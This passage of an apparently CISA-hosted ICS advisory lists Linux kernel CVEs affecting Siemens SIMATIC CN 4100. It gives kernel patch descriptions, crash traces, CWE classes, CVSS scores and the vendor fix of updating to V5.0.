<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: use old 'nbands' while purging unused classes Shuang reported sch_ets test-case [1] crashing in ets_class_qlen_notify() after recent changes from Lion [2]. The problem is: in ets_qdisc_change() we purge unused DWRR queues; the value of 'q-&gt;nbands' is the new one, and the cleanup should be done with the old one. The problem is here since my first attempts to fix ets_qdisc_change(), but it surfaced again after the recent qdisc len accounting fixes. Fix it purging idle DWRR queues before assigning a new value of 'q-&gt;nbands', so that all purge operations find a consistent configuration: - old 'q-&gt;nbands' because it's needed by ets_class_find() - old 'q-&gt;nstrict' because it's needed by ets_class_is_strict() BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 62 UID: 0 PID: 39457 Comm: tc Kdump: loaded Not tainted 6.12.0-116.el10.x86_64 #1 PREEMPT(voluntary) Hardware name: Dell Inc. PowerEdge R640/06DKY5, BIOS 2.12.2 07/09/2021 RIP: 0010:__list_del_entry_valid_or_report+0x4/0x80 Code: ff 4c 39 c7 0f 84 39 19 8e ff b8 01 00 00 00 c3 cc cc cc cc 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa &lt;48&gt; 8b 17 48 8b 4f 08 48 85 d2 0f 84 56 19 8e ff 48 85 c9 0f 84 ab RSP: 0018:ffffba186009f400 EFLAGS: 00010202 RAX: 00000000000000d6 RBX: 0000000000000000 RCX: 0000000000000004 RDX: ffff9f0fa29b69c0 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffffffc12c2400 R08: 0000000000000008 R09: 0000000000000004 R10: ffffffffffffffff R11: 0000000000000004 R12: 0000000000000000 R13: ffff9f0f8cfe0000 R14: 0000000000100005 R15: 0000000000000000 FS: 00007f2154f37480(0000) GS:ffff9f269c1c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000001530be001 CR4: 00000000007726f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: ets_class_qlen_notify+0x65/0x90 [sch_ets] qdisc_tree_reduce_backlog+0x74/0x110 ets_qdisc_change+0x630/0xa40 [sch_ets] __tc_modify_qdisc.constprop.0+0x216/0x7f0 tc_modify_qdisc+0x7c/0x120 rtnetlink_rcv_msg+0x145/0x3f0 netlink_rcv_skb+0x53/0x100 netlink_unicast+0x245/0x390 netlink_sendmsg+0x21b/0x470 ____sys_sendmsg+0x39d/0x3d0 ___sys_sendmsg+0x9a/0xe0 __sys_sendmsg+0x7a/0xd0 do_syscall_64+0x7d/0x160 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7f2155114084 Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d 25 f0 0c 00 00 74 13 b8 2e 00 00 00 0f 05 &lt;48&gt; 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 RSP: 002b:00007fff1fd7a988 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000560ec063e5e0 RCX: 00007f2155114084 RDX: 0000000000000000 RSI: 00007fff1fd7a9f0 RDI: 0000000000000003 RBP: 00007fff1fd7aa60 R08: 0000000000000010 R09: 000000000000003f R10: 0000560ee9b3a010 R11: 0000000000000202 R12: 00007fff1fd7aae0 R13: 000000006891ccde R14: 0000560ec063e5e0 R15: 00007fff1fd7aad0 [1] https://lore.kernel.org/netdev/e08c7f4a6882f260011909a868311c6e9b54f3e4.1639153474.git.dcaratti@redhat.com/ [2] https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38684">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.2</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38685</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fbdev: Fix vmalloc out-of-bounds write in fast_imageblit This issue triggers when a userspace program does an ioctl FBIOPUT_CON2FBMAP by passing console number and frame buffer number. Ideally this maps console to frame buffer and updates the screen if console is visible. As part of mapping it has to do resize of console according to frame buffer info. if this resize fails and returns from vc_do_resize() and continues further. At this point console and new frame buffer are mapped and sets display vars. Despite failure still it continue to proceed updating the screen at later stages where vc_data is related to previous frame buffer and frame buffer info and display vars are mapped to new frame buffer and eventully leading to out-of-bounds write in fast_imageblit(). This bheviour is excepted only when fg_console is equal to requested console which is a visible console and updates screen with invalid struct references in fbcon_putcs().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38685">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38687</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: comedi: fix race between polling and detaching syzbot reports a use-after-free in comedi in the below link, which is due to comedi gladly removing the allocated async area even though poll requests are still active on the wait_queue_head inside of it. This can cause a use-after-free when the poll entries are later triggered or removed, as the memory for the wait_queue_head has been freed. We need to check there are no tasks queued on any of the subdevices' wait queues before allowing the device to be detached by the `COMEDI_DEVCONFIG` ioctl. Tasks will read-lock `dev-&gt;attach_lock` before adding themselves to the subdevice wait queue, so fix the problem in the `COMEDI_DEVCONFIG` ioctl handler by write-locking `dev-&gt;attach_lock` before checking that all of the subdevices are safe to be deleted. This includes testing for any sleepers on the subdevices' wait queues. It remains locked until the device has been detached. This requires the `comedi_device_detach()` function to be refactored slightly, moving the bulk of it into new function `comedi_device_detach_locked()`. Note that the refactor of `comedi_device_detach()` results in `comedi_device_cancel_all()` now being called while `dev-&gt;attach_lock` is write-locked, which wasn't the case previously, but that does not matter. Thanks to Jens Axboe for diagnosing the problem and co-developing this patch.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38687">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38691</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pNFS: Fix uninited ptr deref in block/scsi layout The error occurs on the third attempt to encode extents. When function ext_tree_prepare_commit() reallocates a larger buffer to retry encoding extents, the "layoutupdate_pages" page array is initialized only after the retry loop. But ext_tree_free_commitdata() is called on every iteration and tries to put pages in the array, thus dereferencing uninitialized pointers. An additional problem is that there is no limit on the maximum possible buffer_size. When there are too many extents, the client may create a layoutcommit that is larger than the maximum possible RPC size accepted by the server. During testing, we observed two typical scenarios. First, one memory page for extents is enough when we work with small files, append data to the end of the file, or preallocate extents before writing. But when we fill a new large file without preallocating, the number of extents can be huge, and counting the number of written extents in ext_tree_encode_commit() does not help much. Since this number increases even more between unlocking and locking of ext_tree, the reallocated buffer may not be large enough again and again.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38691">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38693</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: w7090p: fix null-ptr-deref in w7090p_tuner_write_serpar and w7090p_tuner_read_serpar In w7090p_tuner_write_serpar, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar commit: commit 0ed554fd769a ("media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()")</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38693">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38694</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: dib7090p: fix null-ptr-deref in dib7090p_rw_on_apb() In dib7090p_rw_on_apb, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar issue occurs when access msg[1].buf[0] and msg[1].buf[1]. Similar commit: commit 0ed554fd769a ("media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()")</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38694">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38695</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Check for hdwq null ptr when cleaning up lpfc_vport structure If a call to lpfc_sli4_read_rev() from lpfc_sli4_hba_setup() fails, the resultant cleanup routine lpfc_sli4_vport_delete_fcp_xri_aborted() may occur before sli4_hba.hdwqs are allocated. This may result in a null pointer dereference when attempting to take the abts_io_buf_list_lock for the first hardware queue. Fix by adding a null ptr check on phba-&gt;sli4_hba.hdwq and early return because this situation means there must have been an error during port initialization.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38695">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38696</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: MIPS: Don't crash in stack_top() for tasks without ABI or vDSO Not all tasks have an ABI associated or vDSO mapped, for example kthreads never do. If such a task ever ends up calling stack_top(), it will derefence the NULL ABI pointer and crash. This can for example happen when using kunit: mips_stack_top+0x28/0xc0 arch_pick_mmap_layout+0x190/0x220 kunit_vm_mmap_init+0xf8/0x138 __kunit_add_resource+0x40/0xa8 kunit_vm_mmap+0x88/0xd8 usercopy_test_init+0xb8/0x240 kunit_try_run_case+0x5c/0x1a8 kunit_generic_run_threadfn_adapter+0x28/0x50 kthread+0x118/0x240 ret_from_kernel_thread+0x14/0x1c Only dereference the ABI point if it is set. The GIC page is also included as it is specific to the vDSO. Also move the randomization adjustment into the same conditional.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38696">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38697</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: jfs: upper bound check of tree index in dbAllocAG When computing the tree index in dbAllocAG, we never check if we are out of bounds realative to the size of the stree. This could happen in a scenario where the filesystem metadata are corrupted.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38697">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38698</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: jfs: Regular file corruption check The reproducer builds a corrupted file on disk with a negative i_size value. Add a check when opening this file to avoid subsequent operation failures.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38698">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38699</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: bfa: Double-free fix When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad-&gt;im is freed without setting bfad-&gt;im to NULL. Subsequently, during driver uninstallation, when the state machine enters the bfad_sm_stopping state and calls the bfad_im_probe_undo() function, it attempts to free the memory pointed to by bfad-&gt;im again, thereby triggering a double-free vulnerability. Set bfad-&gt;im to NULL if probing fails.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38699">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/415.html">CWE-415 Double Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38700</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Initialize iscsi_conn-&gt;dd_data only if memory is allocated In case of an ib_fast_reg_mr allocation failure during iSER setup, the machine hits a panic because iscsi_conn-&gt;dd_data is initialized unconditionally, even when no memory is allocated (dd_size == 0). This leads invalid pointer dereference during connection teardown. Fix by setting iscsi_conn-&gt;dd_data only if memory is actually allocated. Panic trace: ------------ iser: iser_create_fastreg_desc: Failed to allocate ib_fast_reg_mr err=-12 iser: iser_alloc_rx_descriptors: failed allocating rx descriptors / data buffers BUG: unable to handle page fault for address: fffffffffffffff8 RIP: 0010:swake_up_locked.part.5+0xa/0x40 Call Trace: complete+0x31/0x40 iscsi_iser_conn_stop+0x88/0xb0 [ib_iser] iscsi_stop_conn+0x66/0xc0 [scsi_transport_iscsi] iscsi_if_stop_conn+0x14a/0x150 [scsi_transport_iscsi] iscsi_if_rx+0x1135/0x1834 [scsi_transport_iscsi] ? netlink_lookup+0x12f/0x1b0 ? netlink_deliver_tap+0x2c/0x200 netlink_unicast+0x1ab/0x280 netlink_sendmsg+0x257/0x4f0 ? _copy_from_user+0x29/0x60 sock_sendmsg+0x5f/0x70</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38700">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
